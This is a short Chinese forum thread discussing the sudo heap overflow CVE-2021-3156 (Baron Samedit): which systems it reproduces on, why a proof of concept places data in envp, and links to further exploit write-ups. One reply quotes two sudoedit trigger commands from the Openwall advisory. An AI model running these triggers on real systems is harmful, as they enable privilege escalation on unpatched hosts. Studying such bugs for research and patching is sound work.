可以

这个漏洞我只调了ubuntu20.04,从漏洞原理上来看和系统以及架构关系不大,twitter上有人甚至在macos上复现了 https://twitter.com/hackerfantastic/status/1356645638151303169 ,所以想写利用的同学根据自身需求自己构造即可:)

我没有调过,简单看了下poc. 我问一个小问题,为什么hax.c中要把要写的内容放在evnp上?不是应该放在args上?

效果应该是一样的,openwall的文章里面 (参考[1]) 给了两种poc:

env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
sudoedit -s '\' `perl -e 'print "A" x 65536'`

看到一篇新的文章,在其他linux发行版的利用方式,楼主有兴趣走一遍吗?Exploit Writeup for CVE-2021–3156 (Sudo Baron Samedit) | by Datafarm | Feb, 2021 | Medium

1 个赞

有时间尝试一下!